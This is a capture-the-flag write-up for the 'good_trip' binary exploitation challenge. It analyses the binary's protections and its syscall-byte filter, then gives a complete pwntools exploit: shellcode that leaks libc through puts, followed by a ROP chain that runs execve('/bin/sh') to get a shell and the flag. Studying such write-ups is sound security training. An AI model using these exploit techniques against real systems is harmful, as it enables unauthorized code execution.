Description
Analysis
ELF Binary Information
The binary good_trip
is identified as follows:
good_trip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=06a1e2c37eec31f95c6871f8576a52ab695e2e32, for GNU/Linux 3.2.0, not stripped
This indicates:
- Type: ELF 64-bit LSB executable
- Architecture: x86-64
- Version: SYSV
- Linking: Dynamically linked
- Interpreter: /lib64/ld-linux-x86-64.so.2
- Build ID: 06a1e2c37eec31f95c6871f8576a52ab695e2e32
- Target OS: GNU/Linux 3.2.0
- Stripping: Not stripped (contains symbol table and debugging information)
Security Analysis with checksec
Using the checksec
tool, we analyze the security features enabled in the binary:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- Architecture: amd64-64-little
- RELRO (Read-Only Relocations): Full RELRO (provides protection against certain memory corruption attacks)
- Stack Canary: No stack canary (vulnerable to stack buffer overflows)
- NX (Non-Executable): NX enabled (prevents execution of code on the stack)
- PIE (Position Independent Executable): No PIE (base address is fixed at 0x400000)
Decompilation of main
Function
The decompilation of the main
function using Ghidra reveals:
undefined8 main(EVP_PKEY_CTX *param_1)
{
char cVar1;
int local_14;
void *local_10;
local_14 = 0;
init(param_1);
local_10 = mmap((void *)0x1337131369, 0x1000, 7, 0x22, -1, 0);
printf("code size >> ");
__isoc99_scanf(&DAT_00402027, &local_14);
if ((-1 < local_14) && (local_14 < 0x1001)) {
printf("code >> ");
read(0, local_10, 0x999);
mprotect(local_10, (long)local_14, 5);
cVar1 = filter(local_10);
if (cVar1 != '\0') {
puts("nop, not happening.");
exit(-1);
}
exec(local_10);
}
return 0;
}
This function performs the following steps:
- Initialization: Calls the
init
function. - Memory Mapping: Maps memory at a specific address (0x1337131369) with
mmap
. - User Input: Prompts the user for code size and reads the input into
local_14
. - Validation: Checks if
local_14
is within a valid range (0 to 0x1000). - Code Input: Prompts the user to input code, which is read into the mapped memory.
- Memory Protection: Changes the protection of the memory region to allow execution.
- Filtering: Calls the
filter
function to check the input code. - Execution: If the filter passes, the code is executed using
exec
.
Decompilation of filter
Function
The filter
function decompiled in Ghidra:
undefined8 filter(long param_1)
{
int iVar1;
undefined *local_28 [3];
int local_10;
int local_c;
local_c = -1;
local_28[0] = &DAT_00402010; // "\x0f\x05\x00" : syscall
local_28[1] = &DAT_00402013; // "\x0f\x34\x00" : sysenter
local_28[2] = &DAT_00402016; // "\xcd\x80\x00" : int 0x80
do {
local_c = local_c + 1;
if (0xffd < local_c) {
return 0;
}
local_10 = -1;
while( true ) {
local_10 = local_10 + 1;
if (2 < local_10) break;
iVar1 = memcmp(local_28[local_10], (void *)(local_c + param_1), 2);
if (iVar1 == 0) {
return 1;
}
}
} while( true );
}
The filter
function checks if the provided code contains specific syscall instructions:
- Syscall:
"\x0f\x05\x00"
- Sysenter:
"\x0f\x34\x00"
- Int 0x80:
"\xcd\x80\x00"
If any of these instructions are found, the function returns 1
, otherwise it returns 0
. This effectively blocks direct system calls like execve
.
Disassembly of exec
Function
The exec
function disassembly shows:
Dump of assembler code for function exec:
0x00000000004011a6 <+0>: push rbp
0x00000000004011a7 <+1>: mov rbp,rsp
0x00000000004011aa <+4>: mov QWORD PTR [rbp-0x8],rdi
0x00000000004011ae <+8>: mov rbx,0x0
0x00000000004011b5 <+15>: mov r15,0x0
0x00000000004011bc <+22>: mov rsp,0x0
0x00000000004011c3 <+29>: mov r14,0x0
0x00000000004011ca <+36>: mov r8,0x0
0x00000000004011d1 <+43>: mov r11,0x0
0x00000000004011d8 <+50>: mov r12,0x0
0x00000000004011df <+57>: mov rbp,0x0
0x00000000004011e6 <+64>: jmp rdi
0x00000000004011e8 <+66>: nop
0x00000000004011e9 <+67>: pop rbp
0x00000000004011ea <+68>: ret
End of assembler dump.
The exec
function:
- Sets Up Stack Frame: Standard function prologue (
push rbp
,mov rbp,rsp
). - Clears Registers: Nullifies several registers (rbx, r15, rsp, r14, r8, r11, r12, rbp).
- Jump to Code: Jumps to the address stored in
rdi
, executing the code located there.
Solution
There are numerous methods to solve this challenge, for me I used a two-stage payload approach. First, we need a known writable address in memory, which is straightforward since PIE is disabled. Next, I called the puts
function from the PLT to print the address of puts
from the GOT. After obtaining the leaked address, we can determine the base address of libc. Following that, I called the read
function from the PLT and used basic ROP techniques to execute /bin/sh
and obtain a shell.
To find a writable address, I used the command vmmap
in gdb-pwndbg:
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 [...]/good_trip
0x401000 0x402000 r-xp 1000 1000 [...]/good_trip
0x402000 0x403000 r--p 1000 2000 [...]/good_trip
0x403000 0x404000 r--p 1000 2000 [...]/good_trip
0x404000 0x405000 rw-p 1000 3000 [...]/good_trip
0x1337131000 0x1337132000 rwxp 1000 0 [anon_1337131]
[...]
Next, since the exec
function nullifies the RSP
and RBP
registers, we need to set up a new stack. I’ll use the previously found writable address as the new stack:
mov rsp, {writable_address};
mov rbp, {writable_address};
Next, let’s leak the address of puts
:
mov rdi, {elf.got['puts']};
mov r11, {elf.plt['puts']};
call r11;
Once the address is leaked, we call read
to cause a buffer overflow and obtain a shell:
mov rdi, 0;
mov rsi, {writable_address};
mov rdx, 0x200;
mov r11, {elf.plt['read']};
call r11;
To simplify our ROP chain, we set up the registers to call execve
once the second stage executes:
mov rax, 0x3b;
mov rsi, 0;
mov rdx, 0;
ret;
TIP
Since the libc version wasn’t specified in the challenge and the only files provided were the binary itself and a Dockerfile for setting up a local test server, you can extract libc from the Docker container using the command:
docker cp container_name:/usr/lib/libc.so.6 .
. Note that the exact path to libc may vary depending on the environment.
Here is the complete exploit implementation:
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
'''.format(**locals())
context.log_level = 'info'
exe = './good_trip'
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# first stage payload
writable_address = 0x404500
payload = asm(f'''
mov rsp, {writable_address};
mov rbp, {writable_address};
mov rdi, {elf.got['puts']};
mov r11, {elf.plt['puts']};
call r11;
mov rdi, 0;
mov rsi, {writable_address};
mov rdx, 0x200;
mov r11, {elf.plt['read']};
call r11;
mov rax, 0x3b;
mov rsi, 0;
mov rdx, 0;
ret;
''')
io = start()
io.readuntil(b">>")
io.sendline(f"500".encode())
io.readuntil(b">>")
io.clean()
io.sendline(payload)
# libc address
libc.address = u64(io.clean()[:6].ljust(8, b'\x00')) - libc.sym['puts']
log.success(f"Got libc address 0x{libc.address:x}")
# second stage payload
libc_rop = ROP(libc)
payload = p64(libc_rop.rdi.address)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc_rop.syscall.address)
io.sendline(payload)
# shell
io.interactive()
And here’s the flag:
AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}